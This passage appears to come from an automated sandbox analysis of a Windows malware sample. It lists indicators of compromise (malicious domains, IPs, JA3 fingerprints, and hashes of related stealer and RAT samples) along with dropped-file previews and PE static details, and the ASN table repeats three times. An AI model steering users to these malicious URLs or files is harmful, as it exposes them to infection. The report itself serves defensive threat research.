	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/kslt/
	SecuriteInfo.com.FileRepMalware.20092.26363.exe	Get hash	malicious	Unknown	Browse	13213edsewrwrfw.okis.ru/
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/bm51/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mvc.withoutyou5.com	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	104.26.7.127
mvc.withoutyou5.com	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	104.26.6.127
web.ad87h92j.com	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	188.114.96.3
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	188.114.97.3
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse	172.67.203.195
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse	104.16.117.116
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	Loader.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	104.21.85.189
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.136.135
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse	104.17.25.14
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	104.21.38.33
CLOUDFLARENETUS	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse	172.67.203.195
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse	104.16.117.116
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	Loader.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	104.21.85.189
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.136.135
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse	104.17.25.14
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	104.21.38.33
CLOUDFLARENETUS	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse	172.67.203.195
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse	104.16.117.116
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	Loader.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	104.21.85.189
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.136.135
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse	104.17.25.14
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	104.21.38.33

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.72.137 104.21.17.45
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.72.137 104.21.17.45
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.72.137 104.21.17.45
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 104.21.17.45
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 104.21.17.45
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	172.67.72.137 104.21.17.45
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	172.67.72.137 104.21.17.45
	GmsiIZXruf.hos.dll	Get hash	malicious	Unknown	Browse	172.67.72.137 104.21.17.45
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 104.21.17.45
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 104.21.17.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
	https://downloads.linktek.com/LR/SetupLinkReporter.zip	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	436600
Entropy (8bit):	6.647460578716755
Encrypted:	false
SSDEEP:	12288:mgU0BGzePo6+J+4P0xYv7IQgihUgiW6QR7t5s03Ooc8dHkC2esMoWKl:I01Po6+J+dxYv7IQgR03Ooc8dHkC2e50
MD5:	C092885EA11BD80D35CB55C7D488F1E2
SHA1:	BFE2F5141AF49724A54C838B9A9CB6E54C4A6AA5
SHA-256:	885A0A146A83B0D5A19B88C4EB6372B648CFAED817BD31D8CD3FB91313DEA13D
SHA-512:	8A600CCF97A6D5201BB791A43F16CD4CCD19A8E9DECAE79B8BA3E5200B6E8936649626112B1C6BDB1465AB8AFB395803A68286C76B817245C6077D0536D03344
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 3XRUFJRb3K.dll, Detection: malicious, Browse Filename: N6xnw0iEGs.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: pXm5oVO3Go.exe, Detection: malicious, Browse Filename: Rudvfa0Z17.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.. 4.os4.os4.os..nr6.os=..s".os4.ns..osf.nr7.osf.kr?.osf.lr<.osf.jr..osf.or5.osf.s5.osf.mr5.osRich4.os........................PE..L...J(.`.........."!.........~...............0.......................................r....@A.........................T......<c..........................x#.......6...W..8............................W..@............`..8............................text...b........................... ..`.data...L(...0......................@....idata.......`.......2..............@..@.rsrc................J..............@..@.reloc...6.......8...N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	79792
Entropy (8bit):	6.778797048504205
Encrypted:	false
SSDEEP:	1536:hExZIDobDaHrrAPsCbU4qzBHXpHolecbGpJGBNzZz3:yZPDaHrrobUHzDQecbGbGN
MD5:	9D5A742F221C4929A178BAF2B93FC7FB
SHA1:	928C9E0E1C18EC474C2F450CA00A154E44AC547A
SHA-256:	F10727074BCB4375F276E48DA64029D370299768536157321FB4BD9B1997B898
SHA-512:	F4614962C67BB41B8A2FB17E3112745F4BA012BBF382C1CC7DEACD6C8525A53D75890A2EB46F0DA61BFA054DC52505B09A29291D5FA1C25C6201A66B9DC4B547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 3XRUFJRb3K.dll, Detection: malicious, Browse Filename: N6xnw0iEGs.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: pXm5oVO3Go.exe, Detection: malicious, Browse Filename: Rudvfa0Z17.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........M...M...M.....O...D...F...M...d.../..Y.../..X.../..Q.../..L.../.u.L.../..L...RichM...........PE..L...19............"!.........................................................P............@A........................P........ .......0...................'...@......x$..T............................#..@............ ...............................text...d........................... ..`.data...............................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\cSNNeBKH\libcef.dll

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	524288000
Entropy (8bit):	0.03653807951946192
Encrypted:	false
SSDEEP:
MD5:	D951A61C56A005A8415DC86758E08557
SHA1:	A94BE1A3E166FCCADEC300885B0B923735DA7596
SHA-256:	DCD188D383CB6347BFED0F4E6209ABD579526E729B003C31C3A8B117C1475AF6
SHA-512:	D63B9887F945F6ABDAEA2FE297507AB9E1A84B10864C8AE454E8E3714C77C19131614FDD6DEAB85CA9950A6227D5559FF1002869FDCE63C9DFDDA7998BB22188
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..........4.......!..........)......9.......c.........1.....0.....7....Rich...........PE..L...5..f...........!.........0......$].......................................0............@.........................pI......t6.......0..X....................@..l...................................X(..@............................................text...!........................... ..`.rdata..Z...........................@..@.data.......p.......T..............@....rsrc...X....0......................@..@.reloc..V....@......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\cSNNeBKH\t3d.tmp

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	6443425
Entropy (8bit):	7.999970882342927
Encrypted:	true
SSDEEP:	98304:7c5bWQVHWXS1k+CxcfLg3LFvsI0i/2tEn+ynekhscRZ+Q3FqFoJSnerSgkogC6qz:7c5FNB7WRjsUZn5h/+e7Vkokqg8iEHCu
MD5:	FB936CD4F33E5AE9AB88D7AE21B8D654
SHA1:	157DF7F219BB272F2DC56B3AA0BD5CE70E4902DA
SHA-256:	3C55279D70BBAAA18DCA653DD5922BEAE2F720B8285D6A195A21961DE005BCF2
SHA-512:	F72254B4CE87CAAFA12DD2DDEEC7B77DABEE2FC052E3CA102E55C5ABCC7F99FD4EE6A8544F5942D2A75EDF66C406CB20A0978E9E378055B79EFFB820094AADC1
Malicious:	false
Preview:	PK........R..Y................text/UT....1.f.1.f.1.fPK..........7X........x.......text/MSVCP140.dllUT.....ej..f2M.f.z.0I\pq...7....N...y..A....L.:.v.FF.e}.F."..._.....hI.g....M_.....]..x..h.\....xh...=X....R. .....W2O#-.u..-sZ.%.ST..=.{...3W>...h./.(...nL..&.+~.^BY..<..:.T..k......jq.[...n.T..{h....../c..iAj..+..\|..\|.x\.:L.S...C.@r..M.u....`%..fJK].^.;$)...(.H.$...W1;c..9;fLF.....h..!=\|.z..<.2..A ..<.=T.(.t-....j.K<.z>.Uu.....>a..".-,7.\.Q.k...'#.....P....G.[H;...}.h........}.i..x...!sVN.8....G.&_#...]J...._g]..G....,f.RJ...U/...w.d.........v.-........!.A=\\Un.....f....5c`7.[..t.:..J1.../HV.%..6I....I....B.e.j.".....>...($....\|:.Wb..wAx.......B.MX}b.p..k.05.5^%.w.C.... ua}.......:..?u...!j[..0;!...Bi..d..i.F.2T..2.....m..gC.}.R....2.J...7.J$u)...#oo.DD...$..P.OTzy.D.F..S5.)i.......A\....]..t...P4..R..;O..._k.F..@..1......j.a.."..<...V.m....je...I....lO.........\|sl.".J..X..l8C..xqR."e.yt`.6.o8!.E...#.uA.S../..Vh...q...Q.....4JN^...;Q..v

C:\Program Files (x86)\cSNNeBKH\t4d.tmp

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	PC bitmap, Windows 3.x format, 556 x 556 x 32, image size 1236544, cbSize 1236598, bits offset 54
Category:	dropped
Size (bytes):	1236598
Entropy (8bit):	7.382377228331485
Encrypted:	false
SSDEEP:	24576:hXptT9TEpaNPwRTOMcEBe0rOZsdEjQGUeK+GKe66/uV:hZXFNoRk10aZsWjQeBGT
MD5:	137CAFC945CE96E386ECBFBD8C915D46
SHA1:	815BD011538F45CFA469C76861EBD5F7CC24AA79
SHA-256:	12F9EDFB042B9D83AF6FA44F3DEE7A320A8D17F5951996B56563ABF3E527470B
SHA-512:	5C377130ED4A2CA7FD8A1DCE5001D492E46D1947B6101658CC517366FDE75B0E8AA02168BA258BC35640AE0BB6915916854EC5DA1B4D58137B552C9BFFBB5027
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	BMv.......6...(...,...,..... .....@...................*R..d...c...........g...'...g...g...g...g...g...g...g...g.......i...g...F..L.)Th.{ p.ggr.e c.fno.(beGzunGan #GS .gdeI...C...g......A...........4........F..........).....9...................1......0......7....5ach...g...g...7M..+...R..fg...g......!l...g...g8..g...CU..g...g...g...g...g...b...g...b...g...g8..g...g...e.@.g...g...g...g...g...w....A.......>......g8..?...g...g...g...g...gH......g...g...g...g...g...g...g...g...? ..'...g...g...g.......g...g...g...g...g...g...I\|ex....F...g...g...g...g...g...g...G..`Izda.i..=...g...g...g...g...g...g...'..@Ilat........gx..g...g\..g...g...g...'...Izsr....?...g8..g...g...g...g...g...'..@Izel.k..1...gH..g...g...g...g...g...'..Bg...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g.

C:\Program Files (x86)\cSNNeBKH\t5d.tmp

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	PC bitmap, Windows 3.x format, 378 x 377 x 32, image size 570024, cbSize 570078, bits offset 54
Category:	dropped
Size (bytes):	569918
Entropy (8bit):	7.22610275302866
Encrypted:	false
SSDEEP:	12288:Msj4UEF0Jo9ihYDdKa+yKGBaCMLT2f6NQ:L8Eo9dhKwnBfMLTZNQ
MD5:	B29F456592FEFB570D3F1391DD345D4F
SHA1:	BB65EF4ED697E3038BDBB7D274755F7E003BE4BE
SHA-256:	76E69BAFE5496EECC4B53FACB87A22F628E83DDFE417F7C313496F0BEAC83113
SHA-512:	02BEB31965BCCD38CCC387826326CFCF7813397547413EA291080DAB77736F8C75A8AA84613C987AA76714DEED844ECC346B3652D47E83ADEFAE5246BCAB65C0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	BM.......6...(...z...y..... .............................gPU.............o.h.g..hc...5`.t.QP.b..........f..S2^Wj.Pje...$....T.Xj.Qjn<blZ.;f..,..g.f..,..g.XjUn..C...gPj....$....?bdf.$.g..X.$.g....,4..,..g...C...g..$.....$.g....,..g.f..,..g.f..,..g.f..,..g.f..,..g.f..,..g.f..,..g..DC4S.3,=f.L$>.m.DCHpf.L$P+g.DCZa.#,Sf.L$T+a.DC^b.+,W.#,Xa.D$Y..D$=qAf.L$D1a.LCNf.#,Gt..D$.i.TCB.DCCA.3,L.3,Mf.L$N.kf.#,\V..L$9n.DCWtu.L$a..T$..D$.X.LCl.DCmot.k.DCat..,..g.F..,..g..C...g}sh...$......$.....\|..C...g.$.....kti..$.g..o.mY..,..g..LCe.LC\|.LCq..C...g......C...g.$....$ich.L$l .D$.\|Na.n.DCziv.L$u4qst..D$.eI.;,\|f.L$}.gf..,..g.Rt.$.g....,..g.A..,..g...C...gn.C...gNu..,..g..C...gkti...$......$....3i.C...gj..C...g.w.g...&.^...k.g....$.g..j...$....?n..C...gn..C...g.D${X..C...g.\$SXUU..j.8.D$#n.\|C..DC..DC<PU.L$...\|$yX.tC ....Xf.L$...D$q.D$;.D$...$....7].DC.P..,(..b.X..D$sn.DC...C...g.D$...$....7].DC.P..,(..b.^.L$l..t$s.D$...$....7].DC.f..,.P.\|$(..j.?n.DC.f.#,..#,<.#,...,..g.PU.L$.7.t$O...,..g.

C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6453568
Entropy (8bit):	7.944493660771585
Encrypted:	false
SSDEEP:	196608:fW1Hje3HvntQwZSPyl7N6nds1HhmwcOaXr:myvtrxBL1QSaXr
MD5:	C8E8EEAF5464AF1A188B3DC12C890813
SHA1:	2DF041366B9DE8A2B982205B15F7264145E81644
SHA-256:	E528455778D952ACFC5B330B378F2C53CC92E55CFEAB1C1E1DBB52E01D626BB4
SHA-512:	8119BD5A7FE790F1EBF1B2C5411264C32A193718851746C26183B8A48293D61E8F9F3EEB97CC851A419B5B41038BC63BFFD17E99907AD4F8CDEE63F7151DBE46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...............'..?.................0?...@..........................@.......kc.....................................`........0..u............Pb.@)..................................d.}.........@.............{..............................text...R.?......................... ..`.rdata.......0?.....................@..@.data...T.....H.....................@....idata...Q....J.....................@..@.tls......... K.....................@....00cfg.......0K.....................@..@.ubx0...z....@K.....................`..`.ubx1...`A_...y..B_.................`..`.rsrc...u....0.......J_.............@..@........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\laos[1].bmp

Download File

Process:	C:\Users\user\Desktop\8CoDx513sS.exe
File Type:	data
Category:	dropped
Size (bytes):	139784
Entropy (8bit):	6.885556597408543
Encrypted:	false
SSDEEP:	3072:/DxET/pOE4EiGvWk61EeQyIQZqPWt0841D:LC3j61H9/Q7V
MD5:	54F2551DE5F2BEA30D787D30F3FACD55
SHA1:	56FD3A800F61D63AB8B4521BBC896E1397A23BEF
SHA-256:	B1765CBB8DAFB7F0553463506A5E294CE9FD7DAEBD2AB3918C65C8B8F7B6839D
SHA-512:	0189010EB90DF6A78C77DC85FF4A8492665838D96DAF93DE798DB1F62AF08E05AB11D821FE88354A9B7B2D2259CF032431DEBE5A15600137F122E8F0631A1D0A
Malicious:	false
Preview:	.l..l4U......g....!nlh.ll.hhl..>....P.il........ml.S9:Wj.4je..$.l.._.Xj.5jn7.lZ._f..H..llf..H..llXj^...H...l4j...$.l..4.df..$.ll.X..$.ll...H4..H..ll..H...l.$.l....$.ll...H..llf..H..llf..H..llf..H..llf..H..llf..H..llf..H..ll.DHPS.8H=f.($>...DH,pf.($P ..DH>a.(HSf.($T ..DH:b. HW.(HXa. $Y..D$6.Af.($D:..LHf.(HGt..D$%..TH&.DH'A.8HL.8HMf.($N..f.(H\V..L$2..DH3tu.($a..T$..D$.<.LH..DH.ot...DH.t..H..llF..H..ll.H...l.sh%.$.l.....$.l......H...l..$.l....ti..$.ll.o..Y..H..ll.LH..LH..LH...H...l......H...l..$.l../.ch.($l+.D$..Na...DH.iv.($u?.st..D$..I.0H\|f.($}..f..H..llRt..$.ll...H..llA..H..ll..H...l..H...lu..H..ll.H...l.ti..$.l.....$.l..8..H...l...H...l.w.ll..-.^...k.ll....$.ll.jt.$.l..4...H...l...H...l.D$p<..H...l.\$X<UU..j.3.D$(..\|Hx.DHt.DHXPU.($...\|$r<.tHD...bXf.($...D$z.D$0.D$t.$.l..<9.DHpP..H(....X..D$x..DHz..H...l.D$t.$.l..<9.DHpP..H(....^.($l..t$x.D$t.$.l..<9.DHpf..H.P..$(..j.4..DHxf.(H..(H<.(H...H..llPU.($.<.t$D...H..llf..H..(H...H..llPU.($...t$r<.tHD...($P..\|$x.D$t.$.l..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.419075762331457
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8CoDx513sS.exe
File size:	3'255'296 bytes
MD5:	ef9ca8c2e7af86d9c440d78027bbc2ae
SHA1:	3bc2144e3cc300542eab8c4b98691027611919c0
SHA256:	0c240bbd2732102296862088a459c4854bea6e8bdfac19a4a9da47b0d6f25900
SHA512:	6580bf439b4eabc12a7d19ec71713cd4a7d60558a92cd28dbe8d952ed9c21da691c334cb026dd37ef3628ec67f56d2406541c760a7d9d84012123c2298adee7d
SSDEEP:	98304:UObppUKlSjRvw+QlFZA6eyElAijr7K93GqyKPxkDNZ:SJFv8zZA6ferO9dyqSN
TLSH:	2EE5E023B5418032D5B281B19ABD773148BDAD30076555EBA3D8BC2DBE385E1AB37393
File Content Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........D8..%V..%V..%V.+....%V.+...3%V.+....%V.z\|S..%V......%V..{U..%V..{S..%V..{R..%V..xS..%V.+....%V.+....%V..%W..'V..{R..%V..{S..$V

File Icon


Icon Hash:	79d89c9898989c79

Static PE Info

General

Entrypoint:	0x4b810e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x5CAC9962 [Tue Apr 9 13:08:50 2019 UTC]
TLS Callbacks:	0x488170
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	e3a7c5d6054e45d92305be46e5850ca7

Entrypoint Preview

Instruction
call 00007F1AD9261F2Fh
jmp 00007F1AD92613E3h
int3
int3
int3
int3
int3
int3
int3
int3
push ebx
push edi
xor edi, edi
mov eax, dword ptr [esp+10h]
or eax, eax
jnl 00007F1AD9261566h
inc edi
mov edx, dword ptr [esp+0Ch]
neg eax
neg edx
sbb eax, 00000000h
mov dword ptr [esp+10h], eax
mov dword ptr [esp+0Ch], edx
mov eax, dword ptr [esp+18h]
or eax, eax
jnl 00007F1AD9261565h
mov edx, dword ptr [esp+14h]
neg eax
neg edx
sbb eax, 00000000h
mov dword ptr [esp+18h], eax
mov dword ptr [esp+14h], edx
or eax, eax
jne 00007F1AD926156Dh
mov ecx, dword ptr [esp+14h]
mov eax, dword ptr [esp+10h]
xor edx, edx
div ecx
mov eax, dword ptr [esp+0Ch]
div ecx
mov eax, edx
xor edx, edx
dec edi
jns 00007F1AD92615A0h
jmp 00007F1AD92615A5h
mov ebx, eax
mov ecx, dword ptr [esp+14h]
mov edx, dword ptr [esp+10h]
mov eax, dword ptr [esp+0Ch]
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jne 00007F1AD9261546h
div ecx
mov ecx, eax
mul dword ptr [esp+18h]
xchg eax, ecx
mul dword ptr [esp+14h]
add edx, ecx
jc 00007F1AD9261560h
cmp edx, dword ptr [esp+10h]
jnbe 00007F1AD926155Ah
jc 00007F1AD9261560h
cmp eax, dword ptr [esp+0Ch]
jbe 00007F1AD926155Ah
sub eax, dword ptr [esp+14h]
sbb edx, dword ptr [esp+18h]
sub eax, dword ptr [esp+0Ch]
sbb edx, dword ptr [esp+10h]
dec edi
jns 00007F1AD9261559h
neg edx
neg eax
sbb edx, 00000000h
pop edi
pop ebx
retn 0010h
int3
int3
int3

Rich Headers

Programming Language:

[C++] VS2015 UPD2 build 23918
[ C ] VS2015 UPD3.1 build 24215
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xe2320	0x634	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0xea6e0	0x154	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xef000	0x22cd5c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31c000	0x73ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1e760	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1e7f4	0x18	.text
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1e798	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xea000	0x6dc	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe1954	0xe1a00	7d47f8402086cc3c513c0b64218888b0	False	0.5396284193213297	data	6.682925926536822	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xe3000	0x6ae4	0x1800	9cbf949f5050c0c9a6006f53ec22ac9e	False	0.20263671875	data	2.8191687255129745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xea000	0x2d78	0x2e00	503ae7cd92ed3b148b45b84d5882759c	False	0.3951256793478261	data	5.662388179668826	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0xed000	0x340	0x400	4e921fcf7375e80a2a0ec68dd0610a36	False	0.4482421875	OpenPGP Secret Key	3.391751383921084	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xee000	0x2	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xef000	0x22d000	0x22ce00	4cf35e272e2b42ff5254900c3790c119	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x31c000	0x73ec	0x7400	c698d75eace2d267fdb9dbd5606d0fac	False	0.7466998922413793	data	6.734140737635742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BINDATA	0xf01c8	0x90e00	PE32 executable (GUI) Intel 80386, for MS Windows	Chinese	China	0.46734792924935287
BINDATA	0x180fc8	0x51760	PE32 executable (console) Intel 80386, for MS Windows	English	United States	0.5434089383331735
BINDATA	0x1d2728	0x751e5	Macromedia Flash data (compressed), version 15	Chinese	China	0.9999520550657992
BINDATA	0x247910	0x216d7	Macromedia Flash data (compressed), version 15	Chinese	China	0.998320174701831
PNG	0x268fe8	0x47f	PNG image data, 72 x 18, 8-bit/color RGBA, non-interlaced	Chinese	China	0.7245873153779322
PNG	0x269468	0x3d64	PNG image data, 688 x 65, 8-bit/color RGBA, non-interlaced	Chinese	China	0.968185288877577
PNG	0x26d1cc	0xe796	PNG image data, 600 x 272, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9962385723442296
